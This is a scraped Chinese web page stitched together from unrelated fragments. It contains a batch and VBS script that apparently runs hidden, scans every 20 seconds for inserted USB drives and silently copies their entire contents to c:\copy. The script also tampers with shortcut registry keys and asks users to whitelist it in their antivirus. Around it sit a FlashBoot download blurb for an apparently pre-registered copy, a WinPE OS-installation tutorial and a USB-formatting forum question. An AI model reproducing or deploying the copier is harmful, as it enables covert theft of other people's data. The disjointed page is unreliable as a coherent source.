C代码U盘webapp引导页代码 并执行U盘内特定程序

判断U盘已插入并自动COPY所有内容的批处理-U盘自动复制
转载 & & 作者:
安装U盘自动复制.cmd 代码如下:@echo&off mode&con:&cols=80&lines=40 color&17 :start cls title&$$$$*晗*晗*制*造*$$$$ echo. echo. echo. echo. echo&&&&&==================================================================== echo. echo. echo&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&安装U盘自动复制 echo. echo&&&&&&&&&&&&&&&&&&&&&欢迎使用,请选择选项(1,2,3,4,5,6) echo. echo. echo&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&[1]&安装程序 echo&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&[2]&运行程序 echo&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&[3]&关闭程序 echo&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&[4]&卸载程序 echo&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&[5]&生成快捷方式 echo&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&[6]&使用帮助 echo&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&[7]&X键关闭 echo. echo. echo. echo&  &&&&&&&提示:如果你计算机安装有杀毒软件,请授权此VBS代码! echo. echo.&&&&&&&&&&&&&&&&& echo. echo. echo&&&&&&&&&&&&&&&&&&&&&&&&&&$$$&晗晗制造,版本1.0&$$$ echo. echo&&&&&==================================================================== echo. set&/p&choice=请输入: if&{%choice%}=={}&goto&start if&/i&%choice%==1&goto&install if&/i&%choice%==2&goto&open if&/i&%choice%==3&goto&close if&/i&%choice%==4&goto&uninstall if&/i&%choice%==5&goto&shutcut if&/i&%choice%==6&goto&help if&/i&%choice%==x&goto&shut goto&start :install rem&==============================安装程序============================= if&exist&%temp%\copy.cmd&del&/Q&/f&"%temp%\copy.cmd" copy&copy.cmd&"%temp%\copy.cmd"&&nul&2&nul copy&sleep.exe&"%temp%\sleep.exe"&&nul&2&nul rem&==============================隐藏窗口============================= if&exist&%temp%\hide.vbs&del&/Q&%temp%\hide.vbs echo. echo&如果你计算机安装有杀毒软件,请授权此VBS代码 reg&delete&"HKEY_CLASSES_ROOT\lnkfile"&/v&IsShortcut&/f&&nul&2&nul reg&delete&"HKEY_CLASSES_ROOT\piffile"&/v&IsShortcut&/f&&nul&2&nul set&path=%temp%\copy.cmd echo&set&ws=WScript.CreateObject("WScript.Shell")&&"%temp%\hide.vbs" echo&ws.Run&"%path%",0&&&%temp%\hide.vbs rem&==============================建立终止============================= echo&@echo&off&&%temp%\kill.cmd echo&mode&con:&cols=20&lines=2&&&%temp%\kill.cmd echo&echo&&&&&&&&&&&&&&&&&&&&程序已经成功终止!&&%temp%\kill.cmd echo&pause&^&nul&2^&nul&&&%temp%\kill.cmd echo&tskill&ping&^&nul&2^&nul&&&%temp%\kill.cmd echo&tskill&xcopy&^&nul&2^&nul&&&%temp%\kill.cmd echo&tskill&sleep&^&nul&2^&nul&&&%temp%\kill.cmd echo&tskill&cmd&^&nul&2^&nul&&&%temp%\kill.cmd echo&exit&^&nul&2^&nul&&&%temp%\kill.cmd rem&==============================建立快捷============================= :shutcut echo. if&not&exist&"%temp%\hide.vbs"&goto&start set&path2=%temp%\hide.vbs echo&[InternetShortcut]&&&U盘自动复制.url echo&URL="%path2%"&&&U盘自动复制.url echo&IconIndex=29&&&U盘自动复制.url echo&IconFile=C:\windows\system32\shell32.dll&&&U盘自动复制.url set&path3=%temp%\kill.cmd echo&[InternetShortcut]&&&终止U盘自动复制.url echo&URL="%path3%"&&&终止U盘自动复制.url echo&IconIndex=29&&&终止U盘自动复制.url echo&IconFile=C:\windows\system32\shell32.dll&&&终止U盘自动复制.url echo&成功结束!请直接运行快捷方式! pause&&nul&2&nul goto&start rem&==============================安装结束============================= :uninstall rem&==============================卸载程序============================= echo. tskill&ping&&nul&2&nul tskill&xcopy&&nul&2&nul tskill&sleep&&nul&2&nul del&/Q&/f&"%temp%\copy.cmd"&&nul&2&nul del&/Q&/f&"%temp%\hide.vbs"&&nul&2&nul del&/Q&/f&"%temp%\copy.tmp"&&nul&2&nul del&/Q&/f&"%temp%\sleep.exe"&&nul&2&nul del&/Q&/f&"%temp%\kill.cmd"&&nul&2&nul del&/Q&/f&U盘自动复制.url&&nul&2&nul del&/Q&/f&终止U盘自动复制.url&&nul&2&nul echo&程序已经成功卸载! reg&add&"HKEY_CLASSES_ROOT\lnkfile"&/v&IsShortcut&/f&&nul&2&nul reg&add&"HKEY_CLASSES_ROOT\piffile"&/v&IsShortcut&/f&&nul&2&nul pause&&nul&2&nul goto&start rem&==============================卸载结束============================= :open rem&==============================运行程序============================= echo. if&not&exist&%temp%\copy.cmd&goto&start "%temp%\hide.vbs" echo&程序已经成功开始自运行(20秒扫描一次)! pause&&nul&2&nul exit rem&==============================运行结束============================= :close rem&==============================终止程序============================= echo. if&not&exist&%temp%\copy.cmd&goto&start echo&程序已经成功结束自运行! pause&&nul&2&nul tskill&ping&&nul&2&nul tskill&xcopy&&nul&2&nul tskill&sleep&&nul&2&nul tskill&cmd&&nul&2&nul exit rem&==============================终止结束============================= :help rem&==============================使用帮助============================= cls echo. echo. echo&&&本工具适用于Windows&XPsp2系统,由此造成的一切损失,本人不负任何责任. echo. echo. echo&&&使用方法:&1&点击安装程序 echo. echo&&&&&&&&&&&&&2&如果你计算机安装有杀毒软件,请授权此VBS代码 echo. echo&&&&&&&&&&&&&3&第一次安装可能需要先运行,然后结束一次才能生效(视系统设置而定) echo. echo&&&&&&&&&&&&&4&安装后请用快捷方式启动或者关闭,无需用安装程序启动 echo. echo&&&&&&&&&&&&&5&本程序可以在U盘插入前运行,也可以在插入后运行 echo. echo&&&&&&&&&&&&&6&点击运行程序,程序将自动每20秒执行一次 echo. echo&&&&&&&&&&&&&7&请确保你的c:\有足够的空间,程序运行时候建议不要插移动硬盘 echo. echo&&&&&&&&&&&&&8&请务必确认你要copy的U盘无毒 echo. echo&&&&&&&&&&&&&9&本程序在扫描时比较占内存,建议每次使用后关闭 echo. echo&&&&&&&&&&&&10&建立的快捷方式,你可以改名并把它放在任何地方,包括启动菜单 echo. echo&&&&&&&&&&&&11&请及时清理默认保存目录c:\copy文件夹里边的文件 echo. echo&&&&&&&&&&&&12&本软件不保证copy数据的正确性 echo. echo&&&&&&&&&&&&13&本软件不要使用于非法用途 echo. echo. echo&&&&本软件为免费软件欢迎大家使用 echo. echo&&&&按任意键返回主菜单 pause&&nul&2&nul goto&start rem&==============================帮助结束============================= :shut rem&==============================关闭程序============================= exit rem&==============================关闭结束=============================copy.cmd 代码如下:@echo&off title&$$$$*晗*晗*制*造*$$$$ mode&con:&cols=14&lines=1 :again cls del&/Q&/f&"%temp%\copy.tmp"&&nul&2&nul for&%%i&in&(c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z)&do&@fsutil&fsinfo&drivetype&%%i:&&&"%temp%\copy.tmp" findstr&/i&"可移动驱动器"&"%temp%\copy.tmp"& if&errorlevel==1&goto&end if&errorlevel==0&goto&copy& :end& rem&没有检测到可移动磁盘! if&not&exist&%temp%\sleep.exe&ping&127.0.0.1&-n&20&&nul&2&nul %temp%\sleep.exe&20s goto&again :copy& if&exist&c:\copy&goto&goon cd\ cd&/d&c: md&copy&& :goon& for&/f&"tokens=1"&%%i&in&('findstr&/i&"可移动驱动器"&"%temp%\copy.tmp"')&do&( xcopy&/e&/y&&%%i\*.*&c:\copy&&nul&2&nul ) rem&已复制,请及时清理文件! if&not&exist&%temp%\sleep.exe&ping&127.0.0.1&-n&20&&nul&2&nul %temp%\sleep.exe&20s goto&again
大家感兴趣的内容
12345678910
最近更新的内容
常用在线小工具您所在的位置: >
> FlashBoot2.2c国外优盘启动盘制作工具绿色版
小提示:系统已为您找出最快的下载线路点击按钮进入真实下载地址列表!
FlashBoot是一款制作usb闪存启动盘的工具,对没有CD/DVD光驱的笔记本和其它设备安装Windows很有用,软件具有高度可定制的特点和丰富的选项,不仅仅只支持U盘,所有的USB存储设备它都支持,例如U盘、移动硬盘、SD卡,闪存等,都可以支持的上,对一些512M以上大容量的杂牌U盘兼容性也很好,所以很好用。
软件特点:
支持USB闪存盘和USB硬盘
支持BartPE-Bart预安装环境启动CD转换为usb闪存启动盘;
支持从win9x传递DOS核心到usb盘;&
支持从软盘制作usb启动;
支持从可引导光盘制作usb启动盘;
制作Windows NT/2000/XP口令恢复及制作带有NT/2000/XP bootloader的usb盘;
支持usb闪存盘复制等等。
新版本终于修复了 &LBA/CHS 不可用& 的问题
使用说明:
1、制作DOS启动U盘:
采用FshB00t软件,通常可制作两种模式(USB-HDD和USB-ZIP)的DOS启动盘,具体如下:
打开FlashB00t
选择&创建带迷你的DOS系统的可启动闪存盘&
如果没有现成的DOS软盘镜像,就选择&使用内置的FreeDOS&,
用软件自带的DOS镜像 文件来制作启动U盘。
选择USB-ZIP启动模式:(也可选择USB-HDD模式,以电脑确认为主)
2、U盘启动盘的制作:
按照以上步骤完成DOS启动盘制作后,并选择USB-ZIP模式,只要能从电脑引导启动后。
然后,再下载&USB-ZIP-WinPE.rar压缩包&,把里面的文件释放到U盘的根目录下即可,注意一定是U盘的根目录!哇哇!够简单了吧!
3、U盘启动盘的使用:
将U盘插入USB口(最好将其他的USB设备暂时拔掉),重启电脑,在系统自检的界面上按Del键进入BIOS设置,
进入BIOS FEATURES SETUP中,将Boot Sequence(启动顺序)设定为USB-ZIP第一。设定好后按ESC一下,退回BIOS主界面,选择Save and Exit回车确认退出BIOS设置。电脑重启后就会出现主菜单。这样你就可以随心所欲地使用主菜单提供的各种程序了,就是不懂DOS也不怕,PE会让你用起来更方便。OK,这就是到目前为止,制作大容量、多功能U盘启动盘的最实用、最简单的方法啦!
此外,有少数主板不认USB-ZIP模式,只认USB-HDD模式,但是仍然启动不了,只需下载安装USB-HDD补丁即可啦。
提醒:这个是绿色便携版Portable Edition,本身已经整合了注册信息,无需注册,没任何时间和功能限制,下载后直接执行fb-gui_ttrar.exe即可。
(您的评论需要经过审核才能显示)
匿名? 不会下载请看!
权益:本站资源部分来自互联网, 如有侵犯您的权益,请,我们将立即处理。
人气:344317
人气:194199
人气:89719
人气:75281
人气:55391
人气:52814
人气:47761
人气:45022
人气:35892
人气:30962
声明:U盘量产网为非赢利类网站 蜀ICP备号 川公网安备 94号WINPE环境下,C:盘被U盘(移动硬盘)占用时安装操作系统的方法
  USB-CDROM启动盘启动成功后不会占用本地硬盘的C:盘盘符,USB-ZIP和USB-HDD的启动盘启动后有可能会占用本地硬盘的C:盘盘符,这不仅与U盘(或移动硬盘)有关,也与启动盘的制作方式有关,还与当前使用计算机主板有关。启动盘一旦占用了本地硬盘的C:盘盘符,将会对系统维护和系统安装造成麻烦,下面仅就安装操作系统谈谈个人的解决方案,本方案已实现XP、WIN2000、WIN2003顺利在WINPE环境下安装。
  启动到WINPE环境下,C:盘被U盘(移动硬盘)占用时安装操作系统的方法
  如上发述,无论用哪一版的WINPE制作的启动盘(U盘或移动硬盘),当WINPE启动完成后,启动盘都可能会占用当前硬盘的引导分区盘符(C:),在这种情况下,如果直接使用“WINNT32.EXE”或“SETUP.EXE”安装系统,安装程序会把启动文件写入U盘(或移动硬盘)中,当文件拷贝完成第一次重新启动计算机继续后续安装时,安装程序会提示找不到必要的启动文件,除了造成安装失败外,U盘(或移动硬盘)上还会被写入垃圾文件。针对这种情况,网上大量资料都在介绍使用命令行参数(syspart和tempdrive)启动安装程序:
  winnt32 /syspart:D /makelocalsource
/tempdrive:D
  用这种方法启动安装程序,安装程序会将安装启动文件写入指定盘(上述命令行指定写入到WINPE环境下显示的D:盘中)。这种方法很灵:如果你用U盘(或移动硬盘)启动到WINPE后发现U盘(或移动硬盘)占用了C:盘符,真正硬盘的启动分区由原来的C:盘符变成了D:盘符,上述带参数的安装程序确实能实现操作系统的安装完成。但随之而来的问题是,因为你已指定未来安装的操作系统安装到D:盘,操作系统安装完成后C:盘会缺失,下面图示就是这样安装的操作系统。没有C:盘的操作系统,看着是不是非常别扭?
  如果你不在意计算机中没有C:盘,那下面的内容就可以不去看了。如果想要恢复操作系统于C:盘,请继续。
  本人经过实践发现,修改安装配置文件“migrate.inf”就可以解决C:盘缺失的问题,具体方法如下。
  以下假设:WINPE环境下,本地硬盘的启动分区由正常的C:盘变成了D:盘,如果您的计算机上本地硬盘启动分区由正常的C:盘变成了其它盘符,请注意修改以下介绍中“D”字符。(注:以下命令行均不包含双引号,不区分字母的大小写)
  1、WINPE下格式化D:盘。
  2、无论你是将操作系统安装文件全部拷贝到硬盘中执行安装,还是启用虚拟光驱加载操作系统安装盘的映像文件执行安装,都请检查并记下安装文件中的“i386”文件夹所在的完整路径。(以下假设是“z:\winxp\i386”)
  3、在“开始”-“运行”框中键入“cmd”后确定,打开命令行窗口。
  4、键入“z:”回车(z:就是i386所在盘的盘符,也即上述“z:\winxp\i386”中的前两个字符);
  5、键入“cd \winxp\i386”回车(cd之后有一空格,接下来的内容就是上述“z:\winxp\i386”中z:之后的内容)
  6、键入“winnt32 /syspart:D /makelocalsource /tempdrive:D”回车(命令行中共有三处空格,注意按前面的要求修改两个D字符)
  ……………………
  7、安装程序拷贝文件完成后会提示重新启动计算机,终止自动重启,关闭打开的所有窗口,打开“我的电脑”或“资源管理器”,切换到本地硬盘启动分区D:盘,里面应该有刚才安装程序拷贝的文件和文件夹。
  在“$WIN_NT$.~BT”文件夹中找到“migrate.inf”文件,用记事本打开这个文件,文件格式形如下图所示:
  文件中,将用红色标记的部分全部删除,不改变原文件名保存文件。重新启动计算机,拔下U盘(或移动硬盘),设置从本地硬盘启动,按正常方式继续操作系统的安装直到完成。
  附:启动到DOS环境下,C:盘被U盘(移动硬盘)占用时安装操作系统的方法
  如果用U盘(或移动硬盘)启动到DOS环境发现U盘(或移动硬盘)占用了本该由本地硬盘启动分区使用的C:盘位置,是不以直接安装操作系统的,否则,安装程序同样会把启动文件写入U盘(或移动硬盘)中,当文件拷贝完成第一次重新启动计算机继续后续安装时,安装程序会提示找不到必要的启动文件,除了造成安装失败外,U盘(或移动硬盘)上还会被写入垃圾文件。
  假设你的U盘(或移动硬盘)在目标计算机上启动到DOS时占用了C:盘符,本地硬盘启动分区变成了D:盘,请按如下方法操作。
  所需文件:letassig.exe。(您可以将这个文件事先拷贝到启动盘的根目录下)
  在DOS提示符下分别键入下述命令(不区分大小写,每行命令键入完成后按回车执行):
  letassig W=C:
  letassig C=D:
  完成后,启动盘的盘符就变成了W:,而本地硬盘的启动分区恢复为C:盘了。
已投稿到:
以上网友发言只代表其个人观点,不代表新浪网的观点或立场。10:50 提问
基于C语言的U盘格式化代码
本人要做一款保护软件,为防止U盘里有木马程序,在接入内部网时需要自动对U盘格式化,希望哪个大神能帮帮忙,给点建议。
按赞数排序
如果你要在应用层完成这个功能,那还真不了解。
如果写固件代码的话,那倒是还可以实现。 U盘分为普通存储区和 固件代码区,而固件代码区就是 帮助电脑识别U盘,组织好文件系统的那部分程序。
这部分程序 一般在U盘出厂的时候,已经烧写好了,默认情况下,用户根本接触不到这些代码,所以更不用说去修改了。
只是说说,没思路,哈哈
准确详细的回答,更有利于被提问者采纳,从而获得C币。复制、灌水、广告等回答会被删除,是时候展现真正的技术了!
其他相关推荐豆丁微信公众号
君,已阅读到文档的结尾了呢~~
51单片机读写U盘C程序 51单片机读写U盘C程序
/* 这个程序用180行C代码就能够读取FAT16文件系统U盘的根目录,可以看到根目录下的文件 名,并可显示 首文件内容,不过,该程序很不严谨,也没有任何错误处理,对U盘兼容性较差,只是用于...
扫扫二维码,随身浏览文档
手机或平板扫扫即可继续访问
51单片机读写U盘C程序
举报该文档为侵权文档。
举报该文档含有违规或不良信息。
反馈该文档无法正常浏览。
举报该文档为重复文档。
推荐理由:
将文档分享至:
分享完整地址
文档地址:
粘贴到BBS或博客
flash地址:
支持嵌入FLASH地址的网站使用
html代码:
&embed src='http://www.docin.com/DocinViewer-4.swf' width='100%' height='600' type=application/x-shockwave-flash ALLOWFULLSCREEN='true' ALLOWSCRIPTACCESS='always'&&/embed&
450px*300px480px*400px650px*490px
支持嵌入HTML代码的网站使用
您的内容已经提交成功
您所提交的内容需要审核后才能发布,请您等待!
3秒自动关闭窗口}

我要回帖

更多关于 引导页代码 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信